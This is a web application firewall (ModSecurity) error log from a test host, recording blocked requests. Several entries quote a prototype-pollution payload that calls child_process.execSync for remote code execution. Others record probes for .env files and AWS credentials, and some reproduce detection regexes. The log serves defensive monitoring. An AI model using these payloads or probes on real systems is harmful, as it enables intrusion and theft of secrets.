[Fri Mar 13 15:01:25.732186 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UQAAAAE"]
[Fri Mar 13 15:01:25.733055 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UQAAAAE"]
[Fri Mar 13 15:01:25.733268 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UQAAAAE"]
[Fri Mar 13 19:20:39.972609 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVd3ATcTB67jsribTshgAAAAg"]
[Fri Mar 13 19:20:39.972953 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVd3ATcTB67jsribTshgAAAAg"]
[Fri Mar 13 19:20:39.973533 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVd3ATcTB67jsribTshgAAAAg"]
[Fri Mar 13 19:20:39.973673 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVd3ATcTB67jsribTshgAAAAg"]
[Fri Mar 13 19:20:40.269478 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVeHATcTB67jsribTshwAAAAg"]
[Fri Mar 13 19:20:40.269807 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVeHATcTB67jsribTshwAAAAg"]
[Fri Mar 13 19:20:40.270531 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVeHATcTB67jsribTshwAAAAg"]
[Fri Mar 13 19:20:40.270669 2026] [:error] [pid 2668719] [client 15.135.192.69:51884] [client 15.135.192.69] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abRVeHATcTB67jsribTshwAAAAg"]
[Fri Mar 13 19:39:13.229891 2026] [:error] [pid 2667039] [client 45.148.10.238:35128] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abRZ0dRr9pIXC8J_6s69dAAAAAo"]
[Fri Mar 13 19:39:13.230097 2026] [:error] [pid 2667039] [client 45.148.10.238:35128] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abRZ0dRr9pIXC8J_6s69dAAAAAo"]
[Fri Mar 13 19:39:13.230214 2026] [:error] [pid 2667039] [client 45.148.10.238:35128] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abRZ0dRr9pIXC8J_6s69dAAAAAo"]
[Fri Mar 13 19:39:13.238867 2026] [:error] [pid 2664182] [client 45.148.10.238:35142] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abRZ0QDGDCE5IClNI0jfxgAAAAc"]
[Fri Mar 13 19:39:13.239024 2026] [:error] [pid 2664182] [client 45.148.10.238:35142] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abRZ0QDGDCE5IClNI0jfxgAAAAc"]
[Fri Mar 13 19:39:13.239129 2026] [:error] [pid 2664182] [client 45.148.10.238:35142] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "abRZ0QDGDCE5IClNI0jfxgAAAAc"]
[Fri Mar 13 19:39:13.250558 2026] [:error] [pid 2668719] [client 45.148.10.238:35144] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abRZ0XATcTB67jsribTsiwAAAAg"]
[Fri Mar 13 19:39:13.250707 2026] [:error] [pid 2668719] [client 45.148.10.238:35144] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abRZ0XATcTB67jsribTsiwAAAAg"]
[Fri Mar 13 19:39:13.250807 2026] [:error] [pid 2668719] [client 45.148.10.238:35144] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abRZ0XATcTB67jsribTsiwAAAAg"]
[Fri Mar 13 19:39:13.264042 2026] [:error] [pid 2664179] [client 45.148.10.238:35168] [client 45.148.10.238] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abRZ0Q_F2ofVADhybSyNogAAAAU"]
[Fri Mar 13 19:39:13.264168 2026] [:error] [pid 2664179] [client 45.148.10.238:35168] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abRZ0Q_F2ofVADhybSyNogAAAAU"]
[Fri Mar 13 19:39:13.264290 2026] [:error] [pid 2664179] [client 45.148.10.238:35168] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abRZ0Q_F2ofVADhybSyNogAAAAU"]
[Fri Mar 13 19:39:13.264392 2026] [:error] [pid 2664179] [client 45.148.10.238:35168] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abRZ0Q_F2ofVADhybSyNogAAAAU"]
[Fri Mar 13 19:39:13.265097 2026] [:error] [pid 2664180] [client 45.148.10.238:35178] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abRZ0dw5WhVPlcU-Rd0s9QAAAAY"]
[Fri Mar 13 19:39:13.265265 2026] [:error] [pid 2664180] [client 45.148.10.238:35178] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abRZ0dw5WhVPlcU-Rd0s9QAAAAY"]
[Fri Mar 13 19:39:13.265373 2026] [:error] [pid 2664180] [client 45.148.10.238:35178] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abRZ0dw5WhVPlcU-Rd0s9QAAAAY"]
[Fri Mar 13 19:39:13.280367 2026] [:error] [pid 2664145] [client 45.148.10.238:35194] [client 45.148.10.238] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abRZ0XsA15YdMX9id2CBsQAAAAI"]
[Fri Mar 13 19:39:13.280497 2026] [:error] [pid 2664145] [client 45.148.10.238:35194] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abRZ0XsA15YdMX9id2CBsQAAAAI"]
[Fri Mar 13 19:39:13.280599 2026] [:error] [pid 2664145] [client 45.148.10.238:35194] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abRZ0XsA15YdMX9id2CBsQAAAAI"]
[Fri Mar 13 19:39:13.300449 2026] [:error] [pid 2672929] [client 45.148.10.238:35202] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abRZ0br_PRt-G0_zV0y0YgAAAAE"]
[Fri Mar 13 19:39:13.300604 2026] [:error] [pid 2672929] [client 45.148.10.238:35202] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abRZ0br_PRt-G0_zV0y0YgAAAAE"]
[Fri Mar 13 19:39:13.300719 2026] [:error] [pid 2672929] [client 45.148.10.238:35202] [client 45.148.10.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abRZ0br_PRt-G0_zV0y0YgAAAAE"]
[Fri Mar 13 19:39:13.343930 2026] [:error] [pid 2667039] [client 45.148.10.238:35216] [client 45.148.10.238] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abRZ0dRr9pIXC8J_6s69dQAAAAo"]
[Fri Mar 13 19:39:13.344088 2026] [:error] [pid 2667039] [client 45.148.10.238:35216] [client 45.148.10.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abRZ0dRr9pIXC8J_6s69dQAAAAo"]
